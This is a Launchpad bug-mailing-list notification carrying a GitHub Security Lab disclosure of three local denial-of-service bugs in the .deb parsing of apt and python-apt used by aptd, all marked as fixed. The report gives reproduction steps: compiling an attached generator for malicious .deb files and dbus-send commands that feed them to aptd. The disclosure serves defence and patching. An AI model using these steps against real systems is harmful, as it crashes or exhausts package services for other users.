[Bug 1899193] Re: local denial of service due to parsing bugs in arfile.cc
shaun
1899193 at bugs.launchpad.net
Mon Jun 21 09:23:53 UTC 2021
its laging and not adding my pakadges or exepting my passwords
--
You received this bug notification because you are a member of Ubuntu
Foundations Bugs, which is subscribed to python-apt in Ubuntu.
https://bugs.launchpad.net/bugs/1899193
Title:
local denial of service due to parsing bugs in arfile.cc
Status in apt package in Ubuntu:
Fix Released
Status in aptdaemon package in Ubuntu:
Fix Released
Status in python-apt package in Ubuntu:
Fix Released
Bug description:
# GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2020-168`,
`GHSL-2020-169`, `GHSL-2020-170`
The [GitHub Security Lab](https://securitylab.github.com) team has
identified potential security vulnerabilities in aptd.
We are committed to working with you to help resolve these issues. In
this report you will find everything you need to effectively
coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process,
please do not hesitate to reach out to us at `securitylab at github.com`
(please include `GHSL-2020-168`, `GHSL-2020-169`, or `GHSL-2020-170`
as a reference).
If you are _NOT_ the correct point of contact for this report, please
let us know!
## Summary
The aptd daemon is a system service for installing and updating
packages. It is accessible via
[dbus](https://www.freedesktop.org/wiki/Software/dbus/) and has a
method named "InstallFile" which is used for installing local `.deb`
packages. Although polkit is used to prevent an unprivileged user from
using "InstallFile" to install a malicious `.deb` package, it does not
prevent aptd from parsing the contents of the `.deb` file. The parsing
logic is provided by two packages, [libapt-pkg-
dev](https://packages.ubuntu.com/focal/libapt-pkg-dev) and [python-
apt](https://packages.ubuntu.com/source/focal/python-apt), and is
implemented in C. These two packages contain several bugs, which an
unprivileged user can exploit to trigger a local denial of service
attack.
## Product
aptd
## Tested Version
* libapt-pkg-dev: version 2.0.2ubuntu0.1
* python-apt: 2.0.0ubuntu0.20.04.1
* Tested on Ubuntu 20.04.1 LTS
## Details
### Issue 1: aptd crash due to integer overflow in arfile.cc
(GHSL-2020-168)
A crafted `.deb` package can trigger a negative integer overflow at
[arfile.cc, line
116](https://git.launchpad.net/ubuntu/+source/apt/tree/apt-
pkg/contrib/arfile.cc?h=applied/ubuntu/focal-
updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n116):
```c
Memb->Size -= Len;
```
Due to the integer overflow, the value of `Memb->Size` is
`0xFFFFFFFFFFFFFFFF`. This leads to an out-of-memory error at
[arfile.cc, line 602](https://git.launchpad.net/ubuntu/+source/python-
apt/tree/python/arfile.cc?h=applied/ubuntu/focal-
updates&id=0f7cc93acdb51d943114f1cd79002288c4ca4d24#n602):
```c
char* value = new char[member->Size];
```
The out-of-memory error causes aptd to crash.
Please note that the source locations above refer to two separate
files, both named `arfile.cc`. The first is from the libapt-pkg-dev
package and the second is from the python-apt package.
To trigger the crash, first use the attached source file named
"createdeb.c" to generate the malicious `.deb` file:
```bash
gcc createdeb.c -o createdeb
./createdeb crash test.deb
```
Now use `dbus-send` to send the malicious `.deb` file to aptd:
```bash
$ dbus-send --system --type="method_call" --print-reply --dest=org.debian.apt /org/debian/apt org.debian.apt.InstallFile string:`realpath test.deb` boolean:true
method return time=1602245339.731762 sender=:1.287 -> destination=:1.288 serial=8 reply_serial=2
string "/org/debian/apt/transaction/90f29de930854568964af1918f6ca5eb"
$ dbus-send --system --type="method_call" --print-reply --dest=org.debian.apt /org/debian/apt/transaction/90f29de930854568964af1918f6ca5eb org.debian.apt.transaction.Run
```
Note that you need to use the "transaction id" returned by the first
`dbus-send` in the second `dbus-send` command.
#### Impact
This issue may lead to local denial of service.
#### Resources
I have attached `createdeb.c`, which can be used to generate the
malicious `.deb` file.
### Issue 2: aptd infinite loop due to integer overflow in arfile.cc
(GHSL-2020-169)
This issue is very similar to issue 1, but is caused by a different
bug. This bug occurs during the call to `StrToNum` at [arfile.cc, line
92](https://git.launchpad.net/ubuntu/+source/apt/tree/apt-
pkg/contrib/arfile.cc?h=applied/ubuntu/focal-
updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n92):
```c
StrToNum(Head.Size,Memb->Size,sizeof(Head.Size)) == false)
```
The bug is due to the use of `strtoul` in
[StrToNum](https://git.launchpad.net/ubuntu/+source/apt/tree/apt-
pkg/contrib/strutl.cc?h=applied/ubuntu/focal-
updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n1169):
```c
// StrToNum - Convert a fixed length string to a number /*{{{*/
// ---------------------------------------------------------------------
/* This is used in decoding the crazy fixed length string headers in
tar and ar files. */
bool StrToNum(const char *Str,unsigned long &Res,unsigned Len,unsigned Base)
{
char S[30];
if (Len >= sizeof(S))
return false;
memcpy(S,Str,Len);
S[Len] = 0;
// All spaces is a zero
Res = 0;
unsigned I;
for (I = 0; S[I] == ' '; I++);
if (S[I] == 0)
return true;
char *End;
Res = strtoul(S,&End,Base); <====== negative numbers accepted
if (End == S)
return false;
return true;
}
```
The bug is that `strtoul` allows the number to be negative. For
example, it will accept the string "-60". I have written a proof-of-
concept exploit which uses this to put the parser into an infinite
loop.
To run the proof-of-concept, first use the attached source file named
"createdeb.c" to generate the malicious `.deb` file:
```bash
gcc createdeb.c -o createdeb
./createdeb loop test.deb
```
Now use `dbus-send` to send the malicious `.deb` file to aptd:
```bash
$ dbus-send --system --type="method_call" --print-reply --dest=org.debian.apt /org/debian/apt org.debian.apt.InstallFile string:`realpath test.deb` boolean:true
method return time=1602245339.731762 sender=:1.287 -> destination=:1.288 serial=8 reply_serial=2
string "/org/debian/apt/transaction/90f29de930854568964af1918f6ca5eb"
$ dbus-send --system --type="method_call" --print-reply --dest=org.debian.apt /org/debian/apt/transaction/90f29de930854568964af1918f6ca5eb org.debian.apt.transaction.Run
```
Note that you need to use the "transaction id" returned by the first
`dbus-send` in the second `dbus-send` command.
#### Impact
This issue may lead to local denial of service.
#### Resources
I have attached `createdeb.c`, which can be used to generate the
malicious `.deb` file.
### Issue 3: aptd file descriptor leak (GHSL-2020-170)
There is a file descriptor leak in `debfile_new` at [arfile.cc, line
588](https://git.launchpad.net/ubuntu/+source/python-
apt/tree/python/arfile.cc?h=applied/ubuntu/focal-
updates&id=0f7cc93acdb51d943114f1cd79002288c4ca4d24#n588):
```c
static PyObject *debfile_new(PyTypeObject *type, PyObject *args, PyObject *kwds)
{
PyDebFileObject *self = (PyDebFileObject*)ararchive_new(type, args, kwds);
if (self == NULL)
return NULL;
// DebFile
self->control = debfile_get_tar(self, "control.tar");
if (self->control == NULL)
return NULL; <===== self is not freed, so a file descriptor is leaked
```
If the `.deb` file is invalid, then `debfile_new()` returns `NULL`,
forgetting to free `self`. This means that the file descriptor for the
`.deb` file is not closed. An attacker could use this to exhaust the
system's file descriptors, causing a local denial of service.
To run the proof-of-concept, first use the attached source file named
"createdeb.c" to generate the malicious `.deb` file:
```bash
gcc createdeb.c -o createdeb
./createdeb leakfd test.deb
```
Now use `dbus-send` to send the malicious `.deb` file to aptd:
```bash
$ dbus-send --system --type="method_call" --print-reply --dest=org.debian.apt /org/debian/apt org.debian.apt.InstallFile string:`realpath test.deb` boolean:true
method return time=1602245339.731762 sender=:1.287 -> destination=:1.288 serial=8 reply_serial=2
string "/org/debian/apt/transaction/90f29de930854568964af1918f6ca5eb"
$ dbus-send --system --type="method_call" --print-reply --dest=org.debian.apt /org/debian/apt/transaction/90f29de930854568964af1918f6ca5eb org.debian.apt.transaction.Run
```
Note that you need to use the "transaction id" returned by the first
`dbus-send` in the second `dbus-send` command. Every time you run the
PoC, aptd will open another file descriptor to the `.deb` file, which
you can observe by running `lsof -p <pid of aptd>`.
#### Impact
This issue may lead to local denial of service.
#### Resources
I have attached `createdeb.c`, which can be used to generate the
malicious `.deb` file.
## Credit
These issues were discovered and reported by GHSL team member
[@kevinbackhouse (Kevin
Backhouse)](https://github.com/kevinbackhouse).
## Contact
You can contact the GHSL team at `securitylab at github.com`, please
include a reference to `GHSL-2020-168`, `GHSL-2020-169`, or
`GHSL-2020-170` in any communication regarding these issues.
## Disclosure Policy
This report is subject to our [coordinated disclosure
policy](https://securitylab.github.com/disclosures#policy).
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1899193/+subscriptions
More information about the foundations-bugs
mailing list